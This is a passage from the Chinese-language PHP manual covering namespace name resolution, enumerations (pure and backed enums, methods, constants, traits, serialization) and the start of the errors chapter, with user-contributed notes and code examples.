$a = \DirectoryIterator::CURRENT_AS_FILEINFO;

// 扩展内置或全局的 class
class MyException extends \Exception {}
?>

如何在命名空间内访问它自己的类、函数、常量？

Example #4 在命名空间中访问内置的类、函数、常量

<?php
namespace foo;

class MyClass {}

// 以当前命名空间中的 class 作为参数的类型
function test(MyClass $parameter_type_example = null) {}
// 以当前命名空间中的 class 作为参数的类型的另一种方式
function test(\foo\MyClass $parameter_type_example = null) {}

// 在当前命名空间中扩展一个类
class Extended extends MyClass {}

// 访问全局函数
$a = \globalfunc();

// 访问全局常量
$b = \INI_ALL;
?>

像 \my\name 和 \name 这样的名称是如何解析的？

以 \ 开头的名称总是会解析成原样， 因此 \my\name 实际上是 my\name， 而 \Exception 是 Exception。

Example #5 完全限定名称

<?php
namespace foo;
$a = new \my\name(); // class "my\name" 的实例
echo \strlen('hi'); // 调用函数 "strlen"
$a = \INI_ALL; // $a 的值设置成常量 "INI_ALL"
?>

像 my\name 这样的名称是如何解析的？

像 my\name 这样包含反斜线的名称，但不以反斜线开头的名称， 能够以两种不同的方式解析。

如果有个导入语句，将其他名字设置别名为 my， 则导入别名会应用到 my\name 的 my 部分。

如果没有导入，就会追加当前的命名空间名称为 my\name 的前缀。

Example #6 限定名称

<?php
namespace foo;
use blah\blah as foo;

$a = new my\name(); // class "foo\my\name" 的实例
foo\bar::name(); // 调用 class "blah\blah\bar" 的静态方法 "name"
my\bar(); // 调用函数 "foo\my\bar"
$a = my\BAR; // 设置 $a 的值为 "foo\my\BAR"
?>

像 name 这样的非限定名称是如何解析的？

像 name 这样不包含反斜线的名称， 能够以两种不同的方式解析。

如果有导入语句，设置别名为 name，就会应用导入别名。

如果没有，就会把当前命名空间添加到 name 的前缀。

Example #7 非限定类名

<?php
namespace foo;
use blah\blah as foo;

$a = new name(); // class "foo\name" 的实例
foo::name(); // 调用 class "blah\blah" 的静态方法 "name"
?>

像 name 这样的非限定常量和函数名是如何解析的？

像 name 这样不包含反斜线的常量和函数名，能以两种不同的方式解析。

首先，当前命名空间会添加到 name 的前缀。

然后，如果当前命名空间不存在函数和常量 name， 而全局存在，就会使用全局的函数和常量 name。

Example #8 非限定函数和常量名

<?php
namespace foo;
use blah\blah as foo;

const FOO = 1;

function my() {}
function foo() {}
function sort(&$a)
{
sort($a);
$a = array_flip($a);
return $a;
}

my(); // 调用 "foo\my"
$a = strlen('hi'); // 由于 "foo\strlen" 不存在，所以调用全局的 "strlen"
$arr = array(1,3,2);
$b = sort($arr); // 调用函数 "foo\sort"
$c = foo(); // 未导入，调用函数 "foo\foo"

$a = FOO; // 未导入，设置 $a 为常量 "foo\FOO" 的值
$b = INI_ALL; // 设置 $b 为全局常量 "INI_ALL" 的值
?>

在同一个文件中，导入名称不能和定义的类名发生冲突

允许以下脚本中的组合：

file1.php

<?php
namespace my\stuff;
class MyClass {}
?>

another.php

<?php
namespace another;
class thing {}
?>

file2.php

<?php
namespace my\stuff;
include 'file1.php';
include 'another.php';

use another\thing as MyClass;
$a = new MyClass; // class "thing" 的实例来自于命名空间 another
?>

尽管在 my\stuff 命名空间中存在 MyClass， 因为类定义在了独立的文件中，所以不会发生名称冲突。 不过，接下来的例子中，因为 MyClass 定义在了 use 语句的同一个文件中， 所以发生了名称冲突，导致了 fatal 错误。

<?php
namespace my\stuff;
use another\thing as MyClass;
class MyClass {} // fatal error: MyClass conflicts with import statement
$a = new MyClass;
?>

不允许嵌套 namespace

PHP 不允许嵌套 namespace

<?php
namespace my\stuff {
namespace nested {
class foo {}
}
}
?>
实际上，它看上去像是这样：
<?php
namespace my\stuff\nested {
class foo {}
}
?>

动态命名空间名称（引号标识）应该转义反斜线

重要的是，字符串中反斜线是一个转义字符，因此在字符串中使用时，必须要写两遍。 否则就会在无意中造成一些后果：

Example #9 在双引号字符串中使用命名空间的危险性

<?php
$a = new "dangerous\name"; // 在双引号字符串中，\n 是换行符！
$obj = new $a;

$a = new 'not\at\all\dangerous'; // 这里没有问题
$obj = new $a;
?>
在单引号字符串中，使用反斜线是安全的。 但在最佳实践中，我们仍然推荐为所有字符串统一转义反斜线。

引用一个未定义的、带反斜线的常量，会导致 fatal 错误并退出

像 FOO 这样的非限定名称常量，如果使用的时候还没定义， 会产生一个 notice。PHP 会假设该常量的值是 FOO。 如果没有找到包含反斜线的常量，无论是完全或者不完全限定的名称，都会产生 fatal 错误。

Example #10 未定义的常量

<?php
namespace bar;
$a = FOO; // 产生 notice - undefined constants "FOO" assumed "FOO";
$a = \FOO; // fatal error, undefined namespace constant FOO
$a = Bar\FOO; // fatal error, undefined namespace constant bar\Bar\FOO
$a = \Bar\FOO; // fatal error, undefined namespace constant Bar\FOO
?>

不能重载特殊常量：NULL、TRUE、FALSE、ZEND_THREAD_SAFE、ZEND_DEBUG_BUILD

在命名空间内定义特殊的内置常量，会导致 fatal 错误

Example #11 未定义的常量

<?php
namespace bar;
const NULL = 0; // fatal error;
const true = 'stupid'; // 也是 fatal error;
// etc.
?>

User Contributed Notes

theking2 at king dot ma 09-Jul-2022 10:18
Just like class names currently namespaces are not case sensitive. So no errors will be shown here:

<?php declare(strict_types=1);
namespace Foo;
class Bar {
  public function __construct() {
    echo 'Map constructed';
  }
}

$foobar = new \foo\bar();
shaun at slickdesign dot com dot au 04-Oct-2016 07:20
When creating classes or calling static methods from within namespaces using variables, you need to keep in mind that they require the full namespace in order for the appropriate class to be used; you CANNOT use an alias or short name, even if it is called within the same namespace. Neglecting to take this into account can cause your code to use the wrong class, throw a fatal missing class exception, or throw errors or warnings.

In these cases, you can use the magic constant __NAMESPACE__, or specify the full namespace and class name directly. The function class_exists also requires the full namespace and class name, and can be used to ensure that a fatal error won't be thrown due to missing classes.

<?php

namespace Foo;
class Bar {
    public static function test() {
        return get_called_class();
    }
}

namespace Foo\Foo;
class Bar extends \Foo\Bar {
}

var_dump( Bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Foo\Bar';
var_dump( $bar::test() ); // string(7) "Foo\Bar"

$bar = __NAMESPACE__ . '\Bar';
var_dump( $bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Bar';
var_dump( $bar::test() ); // FATAL ERROR: Class 'Bar' not found or Incorrect class \Bar used
teohad at NOSPAM dot gmail dot com 24-Apr-2016 09:02
[Editor's note: that behavior is caused by a bug in PHP 7.0, which has been fixed as of PHP 7.0.7.]

Regarding the entry "Import names cannot conflict with classes defined in the same file".
- I found that since PHP 7.0 this is no longer the case.
In PHP 7.0 you can have a class with a name that matches an imported class (or namespace or both at the same time).

<?php
namespace ns1 {
  class ns1 {
    public static function write() {
      echo "ns1\\ns1::write()\n";
    }
  }
}

namespace ns1\ns1 {
  class ns1c {
    public static function write() {
      echo "ns1\\ns1\\ns1c::write()\n";
    }
  }
}

namespace ns2 {
  use ns1\ns1 as ns1; // both a class in ns1, and a namespace ns1\ns1

  // the next class causes fatal error in php 5.6, not in 7.0
  class ns1 {
    public static function write() {
      echo "ns2\\ns1::write()\n";
    }
  }

  ns1::write(); // calls imported ns1\ns1::write()
  ns1\ns1c::write(); // calls imported ns1\ns1\ns1c::write()
  namespace\ns1::write(); // calls ns2\ns1::write()
}
?>
phpcoder 25-Mar-2015 01:01
Regarding "Neither functions nor constants can be imported via the use statement." Actually you can do it in PHP 5.6+:

<?php

// importing a function (PHP 5.6+)
use function My\Full\functionName;

// aliasing a function (PHP 5.6+)
use function My\Full\functionName as func;

// importing a constant (PHP 5.6+)
use const My\Full\CONSTANT;
?>
okaresz 25-Jul-2013 08:31
To correct manolachef's answer: define() ALWAYS defines constants in the GLOBAL namespace.

As nl-x at bita dot nl states in the note at http://www.php.net/manual/en/function.define.php, the constant "NULL" can be defined with define() case-sensitively, but can only be retrieved with constant(), leaving the meaning of NULL uppercase keyword as the only value of the type null.
manolachef at gmail dot com 10-Apr-2012 02:32
There is a way to define a namespaced constant that is a special, built-in constant, using define function and setting the third parameter case_insensitive to false:

<?php
namespace foo;
define(__NAMESPACE__ . '\NULL', 10); // defines the constant NULL in the current namespace
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  No need to specify the namespace in your call to define(), like it happens usually
<?php
namespace foo;
define(INI_ALL, 'bar'); // produces notice - Constant INI_ALL already defined. But:

define(__NAMESPACE__ . '\INI_ALL', 'bar'); // defines the constant INI_ALL in the current namespace
var_dump(INI_ALL); // will show string(3)"bar". Nothing unespected so far. But:

define('NULL', 10); // defines the constant NULL in the current namespace...
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  If the parameter case_insensitive is set to true
<?php
namespace foo;
define (__NAMESPACE__ . '\NULL', 10, true); // produces notice - Constant null already defined
?>


枚举

Table of Contents

  • 枚举概览
  • 枚举基础
  • 回退（Backed）枚举
  • 枚举方法
  • 枚举静态方法
  • 枚举常量
  • Trait
  • 常量表达式的枚举值
  • 和对象的差异
  • 枚举值清单
  • 序列化
  • 为什么枚举不可扩展
  • 示例

User Contributed Notes

There are no user contributed notes for this page.


枚举概览

(PHP 8 >= 8.1.0)

枚举，或称 "Enum"，能够让开发者自定义类型为一系列可能的离散值中的一个。 在定义领域模型中很有用，它能够"隔离无效状态"（making invalid states unrepresentable）。

枚举以各种不同功能的形式出现在诸多语言中。 在 PHP 中， 枚举是一种特殊类型的对象。Enum 本身是一个类（Class）， 它的各种条目（case）是这个类的单例对象，意味着也是个有效对象 —— 包括类型的检测，能用对象的地方，也可以用它。

最常见的枚举例子是内置的 boolean 类型， 该枚举类型有两个有效值 true 和 false。 Enum 使开发者能够任意定义出用户自己的、足够健壮的枚举。

User Contributed Notes

Hayley Watson 09-Apr-2023 01:06
It's important to notice that the description here doesn't describe Enum values as being constants. Some languages, like C, C++, and C#, think of an enum as a list of named integers, and working with enums in those languages is just working with integers. PHP does not do that.

In the same way that PHP's booleans are their own type and not just constants with integer values 1 and 0, an Enum is its own type. It's not a bunch of integers (or strings) that have been given names, and shouldn't be thought of or used as such.

An Enum only needs to be backed by some primitive value like an integer or string if you need to communicate it outside the program (a message, UI, db storage, wire protocol, etc) where it has to be converted from/to its native PHP value (this is addressed again on the Backed Enumerations page). If you're converting back and forth between Enums and their backing values inside your own program to get anything done then you might be missing the point of Enums.

You might want more structure to your Enum than just a pure set of distinct but otherwise nondescript values (you might at least want them to be ordered). But all that carry-on should be encapsulated within the Enum class itself via additional methods.


枚举基础

Enum 类似 class，它和 class、interface、trait 共享同样的命名空间。 也能用同样的方式自动加载。 一个 Enum 定义了一种新的类型，它有固定、数量有限、可能的合法值。

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
?>

以上声明了新的枚举类型 Suit，仅有四个有效的值： Suit::Hearts、Suit::Diamonds、 Suit::Clubs、Suit::Spades。 变量可以赋值为以上有效值里的其中一个。 函数可以检测枚举类型，这种情况下只能传入类型的值。

<?php
function pick_a_card(Suit $suit) { ... }

$val = Suit::Diamonds;

// OK
pick_a_card($val);
// OK
pick_a_card(Suit::Clubs);
// TypeError: pick_a_card(): Argument #1 ($suit) must be of type Suit, string given
pick_a_card('Spades');
?>

一个枚举可以定义零个或多个case，且没有最大数量限制。 虽然零个 case 的 enum 没什么用处，但在语法上也是有效的。

枚举条目的语法规则适用于 PHP 中的任何标签，参见常量。

默认情况下，枚举的条目（case）本质上不是标量。 就是说 Suit::Hearts 不等同于 "0"。 其实，本质上每个条目是该名称对象的单例。具体来说：

<?php
$a = Suit::Spades;
$b = Suit::Spades;

$a === $b; // true

$a instanceof Suit; // true
?>

由于对象间的大小比较毫无意义，这也意味着 enum 值从来不会 < 或 > 其他值。 当 enum 的值用于比较时，总是返回 false。

这类没有关联数据的条目（case），被称为"纯粹条目"（Pure Case）。 仅包含纯粹 Case 的 Enum 被称为纯粹枚举（Pure Enum）。

枚举类型里所有的纯粹条目都是自身的实例。 枚举类型在内部的实现形式是一个 class。

所有的 case 有个只读的属性 name。 它大小写敏感，是 case 自身的名称。

<?php
print Suit::Spades->name;
// 输出 "Spades"
?>

It is also possible to use the defined() and constant() functions to check for the existence of or read an enum case if the name is obtained dynamically. This is, however, discouraged as using Backed enums should work for most use cases.

User Contributed Notes

There are no user contributed notes for this page.


回退（Backed）枚举

默认情况下枚举条目实现形式不是标量。 它们是纯粹的对象实例。 不过，很多时候也需要在数据库、数据存储对象中来回读写枚举条目。 因此，能够内置支持标量形式也很有用（更易序列化）。

按以下语法，定义标量形式的枚举：

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}
?>

由于有标量的条目回退（Backed）到一个更简单值，又叫回退条目（Backed Case）。 包含所有回退条目的 Enum 又叫"回退 Enum"（Backed Enum）。 回退 Enum 只能包含回退条目。 纯粹 Enum 只能包含纯粹条目。

回退枚举仅能回退到 int 或 string 里的一种类型， 且同时仅支持使用一种类型（就是说，不能联合 int|string）。 如果枚举为标量形式，所有的条目必须明确定义唯一的标量值。 无法自动生成标量（比如：连续的数字）。 回退条目必须是唯一的；两个回退条目不能有相同的标量。 然而，也可以用常量引用到条目，实际上是创建了个别名。 参见 枚举常量。

条目等同的值，必须是个字面量或它的表达式。 不能是常量和常量表达式。 换言之，允许 1 + 1， 不允许 1 + SOME_CONST。

回退条目有个额外的只读属性 value， 它是定义时指定的值。

<?php
print Suit::Clubs->value;
// 输出 "C"
?>

为了确保 value 的只读性， 无法将变量传引用给它。 也就是说，以下会抛出错误：

<?php
$suit = Suit::Clubs;
$ref = &$suit->value;
// Error: Cannot acquire reference to property Suit::$value
?>

回退枚举实现了内置的 BackedEnum interface， 暴露了两个额外的方法：

  • from(int|string): self 能够根据标量返回对应的枚举条目。 如果找不到该值，会抛出 ValueError。 主要用于输入标量为可信的情况，使用一个不存在的枚举值，可以考虑为需终止应用的错误。
  • tryFrom(int|string): ?self 能够根据标量返回对应的枚举条目。 如果找不到该值，会返回 null。 主要用于输入标量不可信的情况，调用者需要自己实现默认值的逻辑或错误的处理。

from() 和 tryFrom() 方法也遵循基本的严格/松散类型规则。 系统在弱类型模式下接受传入 integer 和 string，并自动强制转换对应值。 传入 float 也能运行，并且强制转换。 在严格类型模式下，为 string 回退枚举的 from() 传入 integer 会导致 TypeError，反之亦然；float 都会出现有问题。 其他所有的参数类型，在以上所有模式中都会抛出 TypeError。

<?php
$record = get_stuff_from_database($id);
print $record['suit'];

$suit = Suit::from($record['suit']);
// 无效数据抛出 ValueError："X" is not a valid scalar value for enum "Suit"
print $suit->value;

$suit = Suit::tryFrom('A') ?? Suit::Spades;
// 无效数据返回 null，因此会用 Suit::Spades 代替。
print $suit->value;
?>

手动为回退枚举定义 from() 或 tryFrom() 方法会导致 fatal 错误。

User Contributed Notes

There are no user contributed notes for this page.


枚举方法

枚举（包括纯粹枚举、回退枚举）还能包含方法， 也能实现 interface。 如果 Enum 实现了 interface，则其中的条目也能接受 interface 的类型检测。

<?php
interface Colorful
{
public function color(): string;
}

enum Suit implements Colorful
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;

// 满足 interface 契约。
public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Red',
Suit::Clubs, Suit::Spades => 'Black',
};
}

// 不是 interface 的一部分；也没问题
public function shape(): string
{
return "Rectangle";
}
}

function paint(Colorful $c) { ... }

paint(Suit::Clubs); // 正常

print Suit::Diamonds->shape(); // 输出 "Rectangle"
?>

在这例子中，Suit 所有的四个实例具有两个方法： color()、shape()。 目前的调用代码和类型检查，和其他对象实例的行为完全一致。

在回退枚举中，interface 的声明紧跟回退类型的声明之后。

<?php
interface Colorful
{
public function color(): string;
}

enum Suit: string implements Colorful
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';

// 满足 interface 的契约。
public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Red',
Suit::Clubs, Suit::Spades => 'Black',
};
}
}
?>

在方法中，定义了 $this 变量，它引用到了条目实例。

方法中可以任意复杂，但一般的实践中，往往会返回静态的值， 或者为 $this match 各种情况并返回不同的值。

注意，在本示例中，更好的数据模型实践是再定一个包含 Red 和 Black 枚举值的 SuitColor 枚举，并且返回它作为代替。 然而这会让本示例复杂化。

以上的层次在逻辑中类似于下面的 class 结构（虽然这不是它实际运行的代码）：

<?php
interface Colorful
{
public function color(): string;
}

final class Suit implements UnitEnum, Colorful
{
public const Hearts = new self('Hearts');
public const Diamonds = new self('Diamonds');
public const Clubs = new self('Clubs');
public const Spades = new self('Spades');

private function __construct(public readonly string $name) {}

public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Red',
Suit::Clubs, Suit::Spades => 'Black',
};
}

public function shape(): string
{
return "Rectangle";
}

public static function cases(): array
{
// 不合法的方法，Enum 中不允许手动定义 cases() 方法
// 参考 "枚举值清单" 章节
}
}
?>

尽管 enum 可以包括 public、private、protected 的方法， 但由于它不支持继承，因此在实践中 private 和 protected 效果是相同的。

User Contributed Notes

iloveyii at yahoo dot com 06-Aug-2023 06:57
Just to complete the function shape in the above neat example:

<?php
interface Colorful
{
    public function color(): string;
}

enum Suit implements Colorful
{
    case Hearts;
    case Diamonds;
    case Clubs;
    case Spades;

    // Fulfills the interface contract.
    public function color(): string
    {
        return match($this) {
            Suit::Hearts, Suit::Diamonds => 'Red',
            Suit::Clubs, Suit::Spades => 'Black',
        };
    }

    // Not part of an interface; that's fine.
    public function shape(): string
    {
           return match($this) {
               Suit::Hearts => '??',
               Suit::Diamonds => '??',
               Suit::Clubs => '??',
               Suit::Spades => ' ??'
           };

    }
}

echo Suit::Diamonds->shape();
echo PHP_EOL;
echo Suit::Clubs->shape();


枚举静态方法

枚举也能有静态方法。 在枚举中静态方法主要用于取代构造器，如：

<?php
enum Size
{
case Small;
case Medium;
case Large;

public static function fromLength(int $cm): static
{
return match(true) {
$cm < 50 => static::Small,
$cm < 100 => static::Medium,
default => static::Large,
};
}
}
?>

仅管 enum 可以包括 public、private、protected 的静态方法， 但由于它不支持继承，因此在实践中 private 和 protected 效果是相同的。

User Contributed Notes

Ulf 13-Oct-2023 08:34
Note, that enums are internally declared as final and thus, cannot extend each other (though, they are allowed to extend other classes).

That also means, that the "Size::fromLength()" method from this page's example redundantly uses "static::" (because there's no late static binding required), and could easily use "self::" or "Size::" instead.

See: https://php.watch/versions/8.1/enums#enum-inheritance
lokashafeek7755 at gmail dot com 22-Sep-2023 07:06
If you want to supplement the key-value pairs with additional descriptions for each enum value in the forSelect method, you can modify the array structure to include an associative array for each enum value. Here's an example:

<?php

enum Gender:int
{
    case Male = 1;
    case Female = 2;

    public static function forSelect(): array
    {
        return [
            self::Male->value => [
                'label' => 'Male',
                'description' => 'This is the Male gender',
            ],
            self::Female->value => [
                'label' => 'Female',
                'description' => 'This is the Female gender',
            ],
        ];
    }

}
?>

In this updated example, each enum value is represented as an associative array with two keys: 'label' and 'description'. You can customize the label and description for each enum value accordingly.

Please note that to access the label and description for a specific enum value, you would need to use the corresponding array keys. For example, to get the label for the Male gender, you can use self::forSelect()[self::Male->value]['label'].
joe502357217 at qq dot com 14-Sep-2023 01:21
You simply need to use the following code as a replacement for the example provided by Aaron Saray.
This piece of code is more concise.

<?php
enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function forSelect(): array
    {
        return array_column(self::cases(), 'name', 'value');
    }
}

var_dump(Suit::forSelect());
?>
Aaron Saray 08-Nov-2022 10:29
Need to retrieve all the names and values immediately from a backed enum (for something like a select box) and you don't want to loop over `Enum::cases()`?  Try this:

<?php
enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function forSelect(): array
    {
      return array_combine(
        array_column(self::cases(), 'value'),
        array_column(self::cases(), 'name')
      );
    }
}

Suit::forSelect();
?>

Put `forSelect()` in a trait and use it in any enum you have that needs this functionality.
niloofarfs 21-Feb-2022 04:42
To get all scalar equivalents values of Backed Enum as an array you could define a method in your Enum:

<?php

enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function values(): array
    {
       return array_column(self::cases(), 'value');
    }
}

?>


枚举常量

仅管 enum 可以包括 public、private、protected 的常量， 但由于它不支持继承，因此在实践中 private 和 protected 效果是相同的。

枚举常量可以引用枚举条目：

<?php
enum Size
{
case Small;
case Medium;
case Large;

public const Huge = self::Large;
}
?>

User Contributed Notes

Hayley Watson 27-Sep-2023 08:19
Just to clarify, enum constants *can* contain cases, but they don't *have* to; other constant values are legitimate - including cases of other Enumerations.

<?php
enum Suit
{
    case Hearts;
    case Clubs;
    case Spades;
    case Diamonds;

    public const Card = Size::Large; // A case from a different enum
}

enum Size
{
    case Small;
    case Medium;
    case Large;

    public const Scale = 297/210; // A float
}

echo Suit::Diamonds::Card::Scale; // Getting the constant Scale from the constant Card in a Suit.
?>


Trait

枚举也能使用 trait，行为和 class 一样。 留意在枚举中 use trait 不允许包含属性。 只能包含方法、静态方法。 包含属性的 trait 会导致 fatal 错误。

<?php
interface Colorful
{
public function color(): string;
}

trait Rectangle
{
public function shape(): string {
return "Rectangle";
}
}

enum Suit implements Colorful
{
use Rectangle;

case Hearts;
case Diamonds;
case Clubs;
case Spades;

public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Red',
Suit::Clubs, Suit::Spades => 'Black',
};
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


常量表达式的枚举值

由于用 enum 自身的常量表示条目，它们可当作静态值，用于绝大多数常量表达式： 属性默认值、变量默认值、参数默认值、全局和类常量。 他们不能用于其他 enum 枚举值，但通常的常量可以引用枚举条目。

然而，因为不能保证结果值绝对不变，也不能避免调用方法时带来副作用， 所以枚举里类似 ArrayAccess 这样的隐式魔术方法调用无法用于静态定义和常量定义。 常量表达式还是不能使用函数调用、方法调用、属性访问。

<?php
// 这是完全合法的 Enum 定义
enum Direction implements ArrayAccess
{
case Up;
case Down;

public function offsetGet($val) { ... }
public function offsetExists($val) { ... }
public function offsetSet($val) { throw new Exception(); }
public function offsetUnset($val) { throw new Exception(); }
}

class Foo
{
// 可以这样写。
const Bar = Direction::Down;

// 由于它是不确定的，所以不能这么写。
const Bar = Direction::Up['short'];
// Fatal error: Cannot use [] on enums in constant expression
}

// 由于它不是一个常量表达式，所以是完全合法的
$x = Direction::Up['short'];
?>

User Contributed Notes

There are no user contributed notes for this page.


和对象的差异

尽管 enum 基于类和对象，但它们不完全支持对象相关的所有功能。 尤其是枚举条目不能有状态。

  • 禁止构造、析构函数。
  • 不支持继承。无法 extend 一个 enum。
  • 不支持静态属性和对象属性。
  • 由于枚举条目是单例对象，所以不支持对象复制。
  • 除了下面列举项，不能使用魔术方法。
  • 枚举必须在使用前被声明。

以下对象功能可用，功能和其他对象一致：

  • Public、private、protected 方法。
  • Public、private、protected 静态方法。
  • Public、private、protected 类常量。
  • enum 可以 implement 任意数量的 interface。
  • 枚举和它的条目都可以附加 注解。 目标过滤器 TARGET_CLASS 包括枚举自身。 目标过滤器 TARGET_CLASS_CONST 包括枚举条目。
  • 魔术方法：__call、__callStatic、 __invoke。
  • 常量 __CLASS__ 和 __FUNCTION__ 的功能和平时无差别

枚举类型的魔术常量 ::class 和对象完全一样， 它是个包含命名空间的类型名称。 由于枚举条目是枚举类型的一个实例，因此它的 ::class 也和枚举类型一样。

此外，不能用 new 直接实例化枚举条目， 也不能用 ReflectionClass::newInstanceWithoutConstructor() 反射实例化。 这么做都会导致错误。

<?php
$clovers = new Suit();
// Error: Cannot instantiate enum Suit
$horseshoes = (new ReflectionClass(Suit::class))->newInstanceWithoutConstructor()
// Error: Cannot instantiate enum Suit
?>

User Contributed Notes

There are no user contributed notes for this page.


枚举值清单

无论是纯粹枚举还是回退枚举，都实现了一个叫 UnitEnum 的内部接口。 UnitEnum 包含了一个静态方法： cases()。 按照声明中的顺序，cases() 返回了打包的 array，包含全部定义的条目。

<?php
Suit::cases();
// 产生： [Suit::Hearts, Suit::Diamonds, Suit::Clubs, Suit::Spades]
?>

为 Enum 手动定义 cases() 方法会导致 fatal 错误。

User Contributed Notes

ratsimbasitraka at gmail dot com 04-Jan-2023 08:22
enum Priority {
    case Left;
    case Right;
}

// Does not work as default parameter
public function selectPriorities(array $priorities = Priority::cases()) {
    Priority::cases() // works here
}
theking2 at king dot ma 09-Jul-2022 08:57
As ::cases() creates a Iteratable it is possible to use it in a foreach loop. In combination with value backed enum this can result in very compact and very readable code:

<?php
/** Content Security Policy directives */
enum CspDirective: String {
  case Default = "default-src";
  case Image = "img-src";
  case Font = "font-src";
  case Script = "script-src";
  case Style = "style-src";
}

/** list all CSP directives */
foreach( CspSource::cases() as $directive ) {
  echo $directive-> value . PHP_EOL;
}
?>
Which results in:
default-src
img-src
font-src
script-src
style-src


序列化

枚举的序列化不同于对象。 尤其是它们有新的序列化代码： "E"，指示了 enum 条目名称。 然后反序列化动作能够设置变量为现有的单例值。 确保那样：

<?php
Suit::Hearts === unserialize(serialize(Suit::Hearts));

print serialize(Suit::Hearts);
// E:11:"Suit:Hearts";
?>

如果枚举和它的条目在反序列化时，无法匹配序列化的值， 会导致 warning 警告，并返回 false。

把纯粹枚举序列化为 JSON 将会导致错误。 把回退枚举序列化为 JSON 时，仅会用标量值的形式，以合适的类型表达。 可通过实现 JsonSerializable 来重载序列化行为。

对于 print_r()，输出的枚举条目略微不同于对象， 能减少迷惑。

<?php
enum Foo {
case Bar;
}

enum Baz: int {
case Beep = 5;
}

print_r(Foo::Bar);
print_r(Baz::Beep);

/* 产生

Foo Enum (
[name] => Bar
)
Baz Enum:int {
[name] => Beep
[value] => 5
}
*/
?>

User Contributed Notes

There are no user contributed notes for this page.


为什么枚举不可扩展

类在方法有契约：

<?php

class A {}
class B extends A {}

function foo(A $a) {}

function bar(B $b) {
foo($b);
}
?>

这段代码类型安全，因为 B 遵循 A 的契约，并通过协变/逆变的逻辑，将会保留任何对方法的期望，除了异常。

枚举在其选项上有契约，而不是方法：

<?php
enum ErrorCode {
case SOMETHING_BROKE;
}

function quux(ErrorCode $errorCode)
{
// When written, this code appears to cover all cases
match ($errorCode) {
ErrorCode::SOMETHING_BROKE => true,
}
}

?>

在函数 quux 中，match 语句可以进行静态分析，以涵盖 ErrorCode 中的所有情况。

但是想一下，如果允许扩展枚举：

<?php
// Thought experiment code where enums are not final.
// Note, this won't actually work in PHP.
enum MoreErrorCode extends ErrorCode {
case PEBKAC;
}

function fot(MoreErrorCode $errorCode) {
quux($errorCode);
}

fot(MoreErrorCode::PEBKAC);

?>

根据正常的继承规则，继承另一个类的类将通过类型检查。

问题在于 quux() 中的 match 语句不再涵盖所有情况。因为它不知道 MoreErrorCode::PEBKAC，所以匹配语句会抛出异常。

因此，枚举是 final，不能扩展。

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 值受限的基本用法

<?php
enum SortOrder
{
case Asc;
case Desc;
}

function query($fields, $filter, SortOrder $order = SortOrder::Asc) { ... }
?>

由于确保 $order 不是 SortOrder::Asc 就是 SortOrder::Desc，所以 query() 函数能安全处理。 因为其他任意值都会导致 TypeError， 所以不需要额外的错误检查。

Example #2 值排他的高级用法

<?php
enum UserStatus: string
{
case Pending = 'P';
case Active = 'A';
case Suspended = 'S';
case CanceledByUser = 'C';

public function label(): string
{
return match($this) {
static::Pending => 'Pending',
static::Active => 'Active',
static::Suspended => 'Suspended',
static::CanceledByUser => 'Canceled by user',
};
}
}
?>

这个例子中，用户的状态是 UserStatus::Pending、
 UserStatus::Active、UserStatus::Suspended、
 UserStatus::CanceledByUser 中的一个，具有独占性。
 函数可以根据 UserStatus 设置参数类型，仅支持这四种值。

所有四个值都有一个 label() 方法，返回了人类可读的字符串。 它独立于等同于标量的"机器名"。 机器名用于类似数据库字段或 HTML 选择框这样的地方。

<?php
foreach (UserStatus::cases() as $case) {
printf('<option value="%s">%s</option>\n', $case->value, $case->label());
}
?>

User Contributed Notes

php-net at mentordosnerds dot com 07-Sep-2023 08:58
Additional use-case examples:
<?php

trait EnumNamesTrait
{
    abstract public static function cases(): array;

    public static function names(): array
    {
        return array_map(fn($enum) => $enum->name, static::cases());
    }
}

trait EnumValuesTrait
{
    abstract public static function cases(): array;

    public static function values(): array
    {
        return array_map(fn($enum) => $enum->value, static::cases());
    }
}

trait EnumArraySerializableTrait
{
    use EnumNamesTrait;
    use EnumValuesTrait;

    public static function array(): array
    {
        return array_combine(static::names(), static::values());
    }
}

trait EnumJsonSerializableTrait
{
    use EnumArraySerializableTrait;

    public static function jsonSerialize(): string
    {
        return json_encode(static::array());
    }
}

enum Suit: string
{
    case Clubs = '?';
    case Diamonds = '?';
    case Hearts = '?';
    case Spades = '?';

    use EnumJsonSerializableTrait;

    public const DEFAULT = self::Hearts;

    public static function default(): static
    {
        return self::DEFAULT;
    }
}

var_dump(
    Suit::cases(),
    Suit::values(),
    Suit::names(),
    Suit::array(),
    Suit::jsonSerialize(),
    Suit::default(),
);


错误

Table of Contents

  • 基础概要
  • PHP 7 错误处理

介绍

可悲的是，不管我们在写代码时多么小心，错误始终是有的。PHP 会为许多常见的编码和运行问题报告错误、警告、通知。知道如何检测和处理这些错误，使得调试程序更容易。

User Contributed Notes

There are no user contributed notes for this page.


基础概要

PHP 对一些内部的错误情况进行报错。 这些错误可以用来表示不同的情况，可以根据需要将错误显示出来或记录到日志中。

每个 PHP 产生的错误都包含了类型。可查看 错误类型清单，它附带了不同类型行为的简短描述和 产生的原因。

PHP 错误处理

